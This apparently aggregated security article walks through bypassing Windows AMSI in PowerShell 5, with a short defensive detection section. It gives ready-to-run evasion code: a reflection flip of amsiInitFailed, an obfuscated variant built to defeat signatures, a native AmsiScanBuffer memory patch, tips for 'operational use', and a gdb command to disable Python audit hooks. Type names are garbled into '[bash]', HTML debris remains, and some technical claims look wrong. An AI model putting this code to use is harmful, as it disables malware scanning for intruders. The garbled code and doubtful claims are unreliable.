AMSI Bypass in 2025: Why PowerShell 5 Still Can’t Catch This Memory Patch + Video

Listen to this Post

Featured Image

Introduction:

Antimalware Scan Interface (AMSI) is Microsoft’s line in the sand—a technology designed to force all scriptable Windows components (PowerShell, VBScript, JScript, VBA) to hand over content to the installed antivirus before execution. For penetration testers and red teamers, AMSI remains the single most disruptive control to overcome when operating in fileless, in‑memory scenarios. Richard Jones’ recent release of an educational PowerShell 5‑specific bypass serves as a timely reminder that while AMSI raises the cost of an attack, it does not make it impossible. This article dissects the technique, provides executable commands, and maps the arms race between signature updates and memory‑only evasion.

Learning Objectives:

  • Understand the internal architecture of AMSI and why PowerShell 5 is uniquely vulnerable to in‑memory patching.
  • Execute and customise a verified AMSI bypass using Reflection and memory writes.
  • Implement detection rules and mitigation strategies to protect against similar attacks.

You Should Know:

  1. Why PowerShell 5? The Patch Gap That Refuses to Die
    The bypass shared by Jones (https://github.com/AssassinUKG/AMSI_PS5) explicitly targets PowerShell 5. Unlike PowerShell 7 (which runs on .NET Core/CoreCLR), PS5 runs on the full .NET Framework. The `System.Management.Automation` assembly in .NET Framework loads AMSI related functions as non‑const, non‑readonly delegates. This design flaw allows an attacker to obtain a reference to the `amsiInitFailed()` function and overwrite its return value—effectively telling the operating system that AMSI failed to initialise, after which no further content is scanned.

Step‑by‑step guide – Manual AMSI bypass (PS5 only):

Open a PowerShell 5 console (even with Constrained Language Mode, this technique often works).

 Obtain the AmsiUtils type via reflection
$Ref = [bash].Assembly.GetType('System.Management.Automation.AmsiUtils');
 Fetch the static field 'amsiInitFailed'
$Field = $Ref.GetField('amsiInitFailed','NonPublic,Static');
 Set the value to $true (AMSI now reports 'failed' state)
$Field.SetValue($null,$true);

What this does:

– `

.Assembly` points to <code>System.Management.Automation.dll</code>.
- `GetType('System.Management.Automation.AmsiUtils')` locates the internal class that hosts AMSI logic.
- `GetField` retrieves the private static Boolean that determines if AMSI initialisation succeeded.
- `SetValue` flips the switch—subsequent cmdlets are never scanned.

<h2 style="color: yellow;">To verify:</h2>

[bash]
 Should now execute without triggering Defender
'Invoke-Mimikatz'  This string would normally be blocked
  1. From One‑Liner to Weaponised Bypass: Obfuscation and AMSI’s Signature Problem
    Microsoft constantly adds signatures to detect the exact Reflection pattern shown above. Modern offensive tooling therefore obfuscates the member names and type resolution. The GitHub POC demonstrates splitting strings and using non‑obvious type accelerators.

Step‑by‑step – Evading signature‑based detection:

 Obfuscated version – breaks static string analysis
$type = ("{1}{0}{2}" -f 'amsiUt','System.Mana','ils')."<code>i</code>l<code>S</code>P<code>l</code>a<code>c</code>e"('ement.Automation.',[bash]46)
$field = $type.GetField(('{1}{0}' -f 'nitFailed','amsiI'),('NonPublic,Static'))
$field.SetValue($null,[bash]1)

Explanation:

  • String concatenation and reversal avoid `AmsiUtils` and `amsiInitFailed` plaintext signatures.
  • Backtick escaping (ilSPlace) invokes the `Replace` method without writing it verbatim.
  • This still works because the .NET runtime resolves the obfuscated names to the correct runtime metadata.
  1. Digging Deeper: Patching the AMSI Scan Buffer (The “Hardware” Breakpoint Approach)
    While flipping a Boolean is elegant, some security products now hook `amsiInitFailed` reads. A more aggressive method—also compatible with PS5—pokes the native DLL `amsi.dll` directly. This requires moving from pure PowerShell to WinAPI calls.

Step‑by‑step – Native patching via WinAPI (x64 systems):

$Win32 = Add-Type -memberDefinition @"
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
"@ -name "Win32" -namespace Win32Functions -passthru

$ptr = $Win32::GetProcAddress($Win32::LoadLibrary("amsi.dll"), "AmsiScanBuffer");
$b = [byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3);
$Win32::VirtualProtect($ptr, [bash]::new($b.Length), 0x40, [bash] 0);
[System.Runtime.InteropServices.Marshal]::Copy($b, 0, $ptr, $b.Length);

What it does:

  • Loads `amsi.dll` and fetches the address of AmsiScanBuffer.
  • Changes memory protection to PAGE_EXECUTE_READWRITE.
  • Writes `mov eax, 0x80070057; ret` – this is the `E_INVALIDARG` return code, causing AMSI to abort scanning.

Note: This technique is signatured by modern EDR. Combine with `amsi.dll` loading from a renamed copy or utilise indirect syscalls for operational use.

4. Defenders: How to Catch the Boolean Flip

The `amsiInitFailed` patch is a high‑confidence indicator of compromise—if you can see it. Attackers use Reflection, which emits .NET events.

Detection with ETW (Event Tracing for Windows):

Enable the `Microsoft-Windows-PowerShell` provider (Event ID 4103, 4104) and monitor for:
– Unusual calls to `SetValue` on non‑public static members.
– Assembly loading of `System.Management.Automation` with immediate invocation of `GetField` or SetValue.
– PowerShell class types accessed via

.Assembly</code>.

<h2 style="color: yellow;">Windows Defender Attack Surface Reduction (ASR) Rule:</h2>

Rule GUID `9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2` (Block process creations originating from PSExec and WMI) can be supplemented with custom AMSI logging. However, no ASR rule directly blocks the memory patch—monitoring is essential.

<ol>
<li>Linux and Cross‑Platform Parallels: AMSI Is Not Just Windows
While AMSI is Windows‑specific, the concept of “script scanning bypass” is universal. Linux defenders use <code>apparmor</code>, <code>selinux</code>, and `clamav` LUA signatures. Red teamers on Linux often patch Python’s `import` system to disable auditing hooks.</li>
</ol>

<h2 style="color: yellow;">Linux example – disabling Python audit hooks:</h2>

[bash]
 Before executing a malicious Python script, unset audit hooks via gdb
sudo gdb -p $(pidof python3) -batch -ex 'set {unsigned char}Py_AuditHook_Enabled = 0' -ex 'detach'

Windows correlation: Just as `amsiInitFailed` is a single Boolean, Python’s audit hooks rely on a global flag—patching memory subverts the control plane.

  1. API Security Parallels: Bypassing Web Application Firewall (WAF) Checks
    The AMSI bypass philosophy extends to API security. Many API gateways inspect request bodies for SQLi/XSS; attackers flip “scan complete” flags or invoke the API with malformed headers that skip validation. Cloud defenders should monitor for `HTTP 200` responses to obviously malicious payloads—this mirrors the AMSI scenario where `amsiInitFailed = true` returns success without inspection.

What Undercode Say:

  • AMSI bypass is not a vulnerability; it is a feature of .NET Framework’s extensibility. Microsoft cannot harden the Reflection model without breaking legitimate applications.
  • Educational POCs like this one are essential. They force defenders to move beyond static IOCs and into behavioural detection.
  • The PowerShell 5 deprecation clock is ticking. Organisations still reliant on PS5 are exposed to trivial, publicly documented bypasses. Migration to PowerShell 7 removes this entire class of Reflection attack because `AmsiUtils` does not exist in CoreCLR.

AMSI remains an effective deterrent against commodity malware, but it is not a silver bullet. Every red teamer knows that the first command executed on a Windows host is rarely a malicious payload—it is an AMSI bypass. Until the legacy .NET Framework is fully retired, this cat‑and‑mouse game will persist.

Prediction:

Within 12 months, Microsoft will introduce a mandatory, kernel‑callback based AMSI for all remaining .NET Framework versions via Windows Update, rendering in‑userland memory patches non‑functional. This will force attackers to either: a) exploit kernel vulnerabilities to patch the callback, or b) abandon PowerShell 5 entirely in favour of .NET Core‑based tooling. The era of trivial, single‑line PowerShell 5 bypasses is coming to an end—but only when organisations finally accept that software must be updated, not forever‑patched.

▶️ Related Video (82% Match):

🎯Let’s Practice For Free:

IT/Security Reporter URL:

Reported By: Richardjoneshacker Ive - Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky